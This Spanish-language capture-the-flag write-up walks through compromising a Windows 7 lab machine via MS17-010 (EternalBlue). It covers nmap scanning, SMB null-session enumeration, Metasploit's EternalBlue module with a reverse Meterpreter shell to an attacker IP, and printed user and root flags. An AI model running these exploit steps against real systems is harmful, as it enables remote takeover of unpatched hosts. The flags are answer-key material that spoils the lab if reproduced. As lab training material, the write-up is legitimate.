Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de los puertos y servicios de la máquina objetivo (IP del Lab: 10.129.27.204) para analizar los puntos de entrada.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.27.204
Resultados Clave de Nmap
El escaneo revela varios puertos abiertos de gran interés comercial y de red:
- Puerto 135 (MSRPC): Servicio de llamadas a procedimiento remoto de Microsoft.
- Puerto 139 (NetBIOS-SSN): Servicio de sesión NetBIOS.
- Puerto 445 (SMB): Microsoft-DS corriendo sobre Windows 7 Professional 7601 Service Pack 1.
- Puertos dinámicos (49152 al 49157): Puertos efímeros RPC de Windows.
El hallazgo de un sistema operativo Windows 7 sin actualizar con el puerto 445 expuesto sugiere de forma inmediata la posible presencia de la famosa vulnerabilidad MS17-010 (EternalBlue).
Fase 2: Enumeración del Servicio SMB
1. Listado de Recursos Compartidos (Null Session)
Intentamos listar los recursos compartidos del servidor SMB de la máquina víctima utilizando smbclient sin credenciales (sesión nula) a través de la IP del Lab (10.129.27.204):
smbclient -L \\10.129.27.204
El servidor responde correctamente, revelando varios discos y carpetas compartidas estándar, como Users y una carpeta personalizada llamada Share.
2. Comprobación de Vulnerabilidad MS17-010 en Metasploit
Iniciamos la consola de Metasploit (msfconsole) y realizamos una búsqueda de módulos relacionados con “eternalblue” para comprobar si el sistema es vulnerable:
msfconsole
msf > search eternalblue
Seleccionamos el módulo de escaneo auxiliar auxiliary/scanner/smb/smb_ms17_010 para verificar la existencia del fallo de seguridad sin llegar a explotarlo. Configuramos el parámetro RHOSTS con la IP del Lab (10.129.27.204) y lo ejecutamos:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.129.27.204
run
El escáner confirma que la máquina objetivo es vulnerable a MS17-010 y se trata de un Windows 7 Professional SP1 de 64 bits.
Fase 3: Intrusión (Acceso Inicial Directo a SYSTEM)
1. Configuración del Exploit EternalBlue
Cargamos el módulo de explotación principal en Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
Revisamos las opciones de configuración necesarias y establecemos los siguientes parámetros:
RHOSTS: IP de la máquina víctima (Lab:10.129.27.204).LHOST: IP de nuestra máquina atacante (Kali Linux:10.10.15.148) para recibir la conexión reversa.Payload: Se utilizará por defectowindows/x64/meterpreter/reverse_tcp.
set RHOSTS 10.129.27.204
set LHOST 10.10.15.148
2. Ejecución y Conexión Reversa
Ejecutamos el exploit utilizando el comando run o exploit. El exploit realiza el desbordamiento de búfer en el pool de memoria del kernel a través del protocolo SMBv1 (srv2.sys). Aunque el primer intento puede fallar o requerir un par de intentos de reserva de memoria (grooming), el exploit finalmente se ejecuta con éxito:
Metasploit nos devuelve una sesión de Meterpreter directamente.
Fase 4: Escalada de Privilegios y Lectura de Flags
¿Por qué no es necesaria una fase de escalada de privilegios?
A diferencia de otras máquinas donde el acceso inicial se logra bajo el contexto de un usuario web de pocos privilegios (como iis apppool\web o www-data), el exploit EternalBlue (MS17-010) aprovecha un fallo de corrupción de memoria directamente en el kernel de Windows que gestiona el servicio SMB. Como el servicio SMB se ejecuta con los máximos privilegios del sistema operativo, el código inyectado hereda directamente esta identidad.
Ejecutamos el comando getuid en nuestra sesión de Meterpreter para verificarlo:
getuid
El servidor nos responde que nuestro usuario es NT AUTHORITY\SYSTEM. Al haber comprometido el kernel de manera directa, ya disponemos del máximo nivel de control y privilegios sobre la máquina.
Fase 5: Obtención de Flags
1. Flag de Usuario (user.txt)
Nos movemos al directorio de usuarios para localizar la flag de bajo privilegio. Listamos la carpeta del usuario local haris:
cd C:\users
ls
cd haris/desktop
ls
cat user.txt
- Flag de Usuario:
9ed81926d4acb29aa113185b6a43bcff
2. Flag de Administrador (root.txt)
Nos desplazamos al Escritorio del Administrador para obtener el control total:
cd ..
cd ..
cd Administrator/Desktop
ls
cat root.txt
- Flag de Root:
c262e9bd3a9dc8c99bfbb1dcda948b7b
Fuentes y Referencias
- MS17-010 Security Bulletin (Microsoft): Boletín oficial de seguridad de Microsoft detallando los parches para mitigar las vulnerabilidades de ejecución remota de código en SMBv1.
- Rapid7 MS17-010 EternalBlue Module: Documentación oficial del módulo de explotación EternalBlue implementado en el framework de Metasploit.